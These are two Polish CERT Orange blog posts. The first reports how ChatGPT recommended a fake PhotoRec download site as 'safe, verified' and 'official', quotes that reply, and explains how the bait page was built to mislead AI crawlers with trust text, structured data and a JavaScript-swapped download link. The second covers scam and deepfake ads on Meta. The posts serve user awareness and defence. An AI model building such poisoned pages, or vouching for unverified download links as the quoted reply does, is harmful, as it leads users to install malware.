Odzyskanie plików z karty pamięci jest często możliwe — ale kluczowe jest szybkie działanie. Najważniejsze: nie zapisuj nic nowego na tej karcie, bo możesz nadpisać utracone dane.

1. Sprawdź najprostsze rzeczy

• Czy pliki nie są w koszu (jeśli karta była używana przez komputer)?
• Spróbuj podłączyć kartę do innego urządzenia (czytnik kart, inny komputer)
• Sprawdź, czy pliki nie są ukryte

2. Użyj programu do odzyskiwania danych

Najskuteczniejsza metoda to specjalne oprogramowanie:

Popularne narzędzia:

• Recuva (Windows, darmowy)
• PhotoRec (Windows/Mac/Linux, darmowy)
• Disk Drill (łatwy w użyciu)
• EaseUS Data Recovery Wizard

Jak to zrobić:

1. Wyjmij kartę i podłącz ją do komputera przez czytnik
2. Uruchom wybrany program
3. Wybierz kartę pamięci jako źródło skanowania
4. Wykonaj pełne skanowanie (deep scan)
5. Zapisz odzyskane pliki na dysku komputera (nie na tej samej karcie!)

3. Co wpływa na skuteczność odzysku

[…]

4. Kiedy może być problem

[…]

Dodatkowa wskazówka

[…]

podaj link do pobrania

Oto bezpieczne, sprawdzone linki do pobrania programów do odzyskiwania danych

Ważne przed instalacją

[…]

Pod linkiem opisanym przez model jako „oficjalna strona” znajduje się fałszywa domena photorec[.]dev. Co prawda nie ta sama, na którą trafił Marcin (photorec[.]cc), ale prowadząca do pobrania dokładnie tego samego pliku. Hashe pliku instalacyjnego na obu stronach były identyczne. Jedna kampania, wiele stron-przynęt.

Niepokój może budzić język, którym w tym kontekście posługuje się ChatGPT: „bezpieczne, sprawdzone linki”, „oficjalna strona”. Model pisze to w sposób nie budzący żadnych wątpliwości. Użytkownik nie powinien traktować kategorycznych zapewnień modelu jako dowodu wiarygodności źródła.

Dlaczego model AI polecił złośliwą stronę

Modele językowe nie odwiedzają stron internetowych tak jak Twoja przeglądarka. Nie klikają przycisków, nie wykonują JavaScript. Czytają za to część niewidoczną, która nie jest wyświetlana użytkownikowi nie zaglądającemu do kodu źródłowego. Przestępcy doskonale o tym wiedzą i jak widać: wykorzystują.

Fałszywa strona była zbudowana z myślą o algorytmach AI. Zawierała rozbudowane teksty w pięciu językach, sekcję „Trust & Security” wyjaśniającą, dlaczego program jest bezpieczny, FAQ napisane dokładnie tak, żeby model mógł z niego cytować odpowiedzi. W kodzie strony umieszczono ustandaryzowane dane opisujące oprogramowanie jako legalne narzędzie: dane, które modele AI traktują jako fakty. Nawet sam przycisk „pobierz” nie był linkiem do pobrania oprogramowania. Zamiast linku w kodzie był jedynie znak #, podmieniany dopiero w przeglądarce użytkownika przy użyciu JavaScript na URL do pobrania malware. Model AI nie miał do tego dostępu na etapie analizy treści strony!

Gwoli jasności – problem nie dotyczy wyłącznie ChatGPT. Każdy model językowy korzystający z indeksowania stron może zostać wprowadzony w błąd w podobny sposób. Nie dlatego, że jest „głupi”, ale dlatego, że przestępcy celowo konstruują strony pod ten wektor ataku. Szczegóły techniczne manipulacji odpowiedzią AI niebawem opiszemy w osobnym artykule.

Nie tylko PhotoRec

PhotoRec to nie jedyne oprogramowanie dystrybuowane przez przestępców. Analiza przeprowadzona przez CERT Orange Polska wykazała, że na jednym serwerze działało kilkadziesiąt domen podszywających się pod wiele popularnych programów, m.in.: TestDisk, HWMonitor (co ciekawe – bohater innego incydentu, w którym zainfekowane oprogramowanie było serwowane także przez oficjalną stronę), CrystalDiskInfo, FurMark, PDFgear, K-Lite Codec Pack, uTorrent, Windows Update Blocker, Notepad++ czy 360 Browser.

We wszystkich kampaniach schemat był identyczny. Instalowana była strojanizowana wersja narzędzia do zdalnego dostępu ScreenConnect. Przestępca zyskiwał pełną kontrolę nad komputerem ofiary – mógł przeglądać pliki oraz instalować kolejne programy. Za jego pośrednictwem instalowane były koparki kryptowalut (jak w przypadku Marcina), a u części ofiar – co potwierdzają wpisy na forach – także oprogramowanie kradnące hasła i tokeny sesji.

Jak nie dać się oszukać

Zasada pierwsza i najważniejsza: oprogramowanie pobieraj wyłącznie z oficjalnych sklepów danego systemu operacyjnego albo strony producenta. W tym drugim przypadku, sprawdzaj dokładnie adres, niezależnie od tego, czy podał Ci go model AI(!), wyszukiwarka, czy znajomy. Porównaj go z adresem podanym np. w Wikipedii. Sprawdź jak dużo wyników wyszukiwania kieruje do danej strony (pamiętaj jednak, że często na początku pojawiają się wyniki podsuwane przez AI i silniki reklamowe). Ta metoda nie da Ci jednoznacznej odpowiedzi, jednak widoczne na tym etapie rozbieżności powinny być wyraźnym sygnałem ostrzegawczym.

Jeśli masz wątpliwości co do pobranego pliku, możesz sprawdzić go w serwisie VirusTotal – to bezpłatne narzędzie online analizujące pliki przy użyciu kilkudziesięciu silników antywirusowych jednocześnie. Jednak ta metoda również nie daje 100% pewności. W przypadku większości tego typu skanerów jest możliwość, że złośliwe pliki zostaną oznaczone jako bezpieczne, a legalne oprogramowanie zostanie uznane za podejrzane na podstawie posiadanych funkcji. Wyniki należy traktować z dystansem i rozwagą, ale moment zatrzymania i weryfikacji może pomóc uchronić nas przed pochopną decyzją o instalacji programu z nieznanego źródła.

Niezależnie od charakterystyki opisywanego zagrożenia, warto też zajrzeć do rubryki Warto Wiedzieć na naszej stronie. Znajdziesz tam m.in. porady dotyczące tworzenia i zapamiętywania bezpiecznych haseł, uwierzytelniania dwuskładnikowego, czy bezpiecznych płatności w internecie. Opisywany przypadek to tylko jeden z wielu modelu oszustw, z którymi możesz się spotkać w sieci.

Co zrobić, jeśli uruchomiliśmy? podejrzany instalator. Jeśli masz podejrzenie, że coś takiego się stało:

1. Odłącz komputer od internetu.
2. Uruchom pełne skanowanie narzędziem bezpieczeństwa.
3. Wyloguj aktywne sesje na ważnych kontach – najlepiej z innego, czystego urządzenia.
4. Zmień hasła, szczególnie do poczty, bankowości, chmury i mediów społecznościowych.
5. Obserwuj aktywność na kontach i sprawdź, czy nie pojawiły się nieznane logowania.
6. Rozważ pełną reinstalację systemu, jeśli istnieje ryzyko zdalnego dostępu lub kradzieży danych.

Podsumowanie

Historia Marcina skończyła się godzinami pracy i pełną reinstalacją systemu. Mógł też stracić dostęp do kont w serwisach, w których był zalogowany. Model AI zrobił to, o co został poproszony: znalazł stronę ze wskazanym oprogramowaniem, która według wszystkich dostępnych wskazówek była wiarygodna. Problem w tym, że ktoś te wskazówki celowo sfabrykował, oszukując zarówno agentów AI, jak i wyszukiwarki internetowe.

I przypominamy – szczegóły techniczne omawianej kampanii niebawem na naszych łamach!

The post Poprosił ChatGPT o pomoc w odzyskaniu pliku. Skończyło się reinstalacją systemu appeared first on CERT Orange.

W 2025 r. fałszywe inwestycje stanowiły aż 67,92% wszystkich domen zablokowanych przez CyberTarczę Orange. Wzrost w stosunku do roku 2024 wyniósł prawie 8 pp.

Jak wyglądają reklamy na Facebooku? Do 2022 r. oszuści wykorzystywali proste banery, łatwe do rozpoznania i wykrycia. Problem zaczął drastycznie rosnąć w latach 2022-23, gdy w zespołach bezpieczeństwa Mety nastąpiły duże cięcia w zatrudnieniu. Równolegle zredukowano środki na rozwijanie automatycznej detekcji oszukańczych reklam. Miało to być spowodowane zmianą kierunku rozwoju giganta z Menlo Park. Działy bezpieczeństwa otrzymały wytyczne, aby zmniejszyć wykorzystanie mocy obliczeniowej dla swoich działań na poczet rozwoju AI.

Nowy format reklamy na Facebooku? „Upgrade dla oszustów”

Zmiana formatu reklam z obrazu do wideo nadała tempa przekrętom. Treści w tym formacie są trudniejsze do automatycznej moderacji. Okrojone z kapitału ludzkiego i technologicznego mechanizmy Mety nie miały prawa nadążyć za oszustami. Ci szybko wynajdywali ich luki i stosowali obejścia zabezpieczeń. Wraz ze wzrostem liczby reklam omijających mechanizmy antyfraudowe (mające przeciwdziałać oszustwom) fałszywe reklamy na Facebooku okazywały się być coraz skuteczniejsze. A to przyciągało coraz większą rzeszę oszustów. Mechanizm nabierał coraz większego rozpędu.

Co więcej, sztuczna inteligencja umożliwiła masowe produkowanie fałszywych treści. Choćby deepfake, czyli możliwości stworzenia treści do złudzenia sprawiającej wrażenie jakbyśmy faktycznie mieli do czynienia z celebrytą, politykiem, czy ekspertem branżowym. W efekcie ci ludzie „promowali oszustwa” swoim wizerunkiem, nie mając o tym pojęcia. To co wcześniej wymagało studia albo skomplikowanych umiejętności, dziś wymaga jedynie przeglądarki, dostępu do internetu i odpowiednio przygotowanego prompta (polecenia tekstowego) dla modelu AI.

Technologia deepfake okazała się przełomowa dla oszustów. To ogromny skok w jakości dostarczanych przez nich materiałów. Efekt może okazać się nie do odróżnienia, w szczególności dla poniższych grup, stanowiących główne cele kampanii do których prowadzą fałszywe reklamy na Facebooku:

• seniorzy (fałszywe świadczenia, reklamy leków)
• osoby chcące pomnożyć swoje oszczędności (fałszywe inwestycje)
• kupujący w internecie (fałszywe sklepy internetowe)
• a w zasadzie każdy z nas (dezinformacja)

Reklamy na Facebooku jako artykuł sponsorowany

Sensacyjna informacja w mediach? Nie – to socjotechniczna sztuczka. Natywny format imitujący news, przekierowujący na sklonowane strony, podszywające się pod popularne media.

Do niedawna tego typu materiał musiał zawierać widoczny adres strony docelowej. Sprawiało to, że oszuści zmuszeni byli kupować domeny choć trochę podobne do stron, pod które się podszywali (choć jak widać poniżej, nie zawsze się tym kierowali). Od niedawna jednak Meta zdecydowała się na usunięcie tego wymogu. Poniżej przykład pokazujący różnicę:

Dlaczego teraz łatwiej wykorzystać reklamy na Facebooku by nas oszukać? Publikacja Reuters autorstwa Jeffa Horowitza z listopada 2025 odkrywa wiele ciekawych liczb. Wyniki śledztwa są porażającym potwierdzeniem tego, o czym branża cyberbezpieczeństwa mówiła od dawna.

Około 10% przychodów Mety w 2024 pochodziło z reklamowania oszustw! To równowartość 16 miliardów dolarów! Tymczasem użytkownicy Facebooka oglądają 15 miliardów fałszywych reklam… każdego dnia. Ile wyniosły w tym czasie wydatki Mety na walkę z oszustwami? Marne 135 milionów dolarów. To znacznie poniżej 1 procenta z zarobionych na działalności oszustów pieniędzy! Warto zaznaczyć, że nie chodzi tylko fałszywe inwestycje. Ta liczba zawiera również manipulacje polityczne i dezinformację.

0,003 procenta fałszywych reklam trafia do kosza

Inwestycja 135 milionów dolarów w problem generujący 16 miliardów dolarów przychodów wydaje się być delikatnie mówiąc sporna biznesowo. Tym bardziej, że efekty wydają się być absurdalnie niskie. Zastanawialiście się kiedyś ile fałszywych reklam usuwa Meta?

W 2025 roku było ich 159 mln. Przy wspominanych 15 miliardach dziennie daje wynik 0,0029%.

Dookoła (nie)skuteczności Mety w samej tylko Polsce narosło kilka głośnych spraw. Najbardziej medialną był spór dotyczący wykorzystania wizerunku biznesmena Rafała Brzoski i jego żony Omeny Mensaah. Efekt? Sukces! Wywalczony sądowy zakaz wykorzystywania ich wizerunków na platformach Meta! Problem tylko w tym, że zakaz… nic nie dał. Deepfake’owe reklamy na Facebooku z Rafałem Brzoską wciąż się pojawiają.

Więcej przykładów znajdziecie w znakomitej prelekcji pt. „Scambook v1.1” Piotra Zarzyckiego, eksperta CERT Orange Polska, wygłoszonej na ubiegłorocznej konferencji Confidence.

Co dzisiaj, rok później, sądzi nasz ekspert o tym procederze? Czy coś się zmieniło?

Facebook od lat przekonuje, że robi wszystko, by walczyć z oszustwami. Problem w tym, że efektów tej walki nie widać. Widać za to coś innego – z roku na rok przybywa scamów, fałszywych reklam i kolejnych ludzi, którzy tracą przez to realne pieniądze.
Ofiary zostają same z problemem, a Facebook… przekonuje, że robi wszystko by walczyć z oszustwami. Platforma masowo wyświetla oszukańcze treści nie ponosząc za to praktycznie żadnej odpowiedzialności. Algorytmy zamykają użytkownika w „bańce” scamu i w efekcie dzień w dzień widzi on te same oszukańcze reklamy i spreparowane materiały z twarzami znanych osób, które obiecują niebotyczne zyski.
Po którymś razie część osób zaczyna po prostu wierzyć, że to musi być prawda. Naiwnie zakładają, że gdyby to było oszustwo, to ktoś już dawno by zareagował i nie pozwolił na tak długotrwały proceder. Na tym polega największy skandal, ludzie tracą oszczędności, bo nie przypuszczają nawet, że tak wielka platforma mogłaby dopuścić do tak jawnego zalewu fałszywych reklam.
Niestety, patrząc na dotychczasowe postępy z walką ze scamem nic nie wskazuje na to, żeby miało się cokolwiek zmienić. Trudno wierzyć w dobre intencje firmy, która od lat zarabia olbrzymie pieniądze na systemie reklamowym, gdzie fałszywe reklamy na Facebooku świetnie się monetyzują.

Jak nie dać się oszukać?

Post na Instagramie proponuje Ci atrakcyjną inwestycję? A może celebryta na Facebooku usiłuje Ci dowieść, jak fantastyczne zyski osiągnął? Zanim zdecydujesz się kliknąć – sprawdź nasz artykuł na temat fałszywych inwestycji.

Nie wierz w wyjątkowo atrakcyjne okazje. Zanim zrobisz zakupy w nowym sklepie – zweryfikuj go sprawdzając adres, regulamin, kontakt i wpis do CEiDG. Przeczytaj nasz artykuł analizujący fałszywy sklep, wykorzystujący Facebook do reklamowania.

I pamiętaj o ryzyku siania dezinformacji za pośrednictwem mediów społecznościowych. Dezinformacja zawsze gra na emocjach i polaryzacji. Weryfikuj przyjmowane informacje szukając ich w przynajmniej kilku źródłach.

The post Meta zarobiła 16 mld dolarów na scamach w 2025 r. Oto dlaczego w 2026 zarobi jeszcze więcej. appeared first on CERT Orange.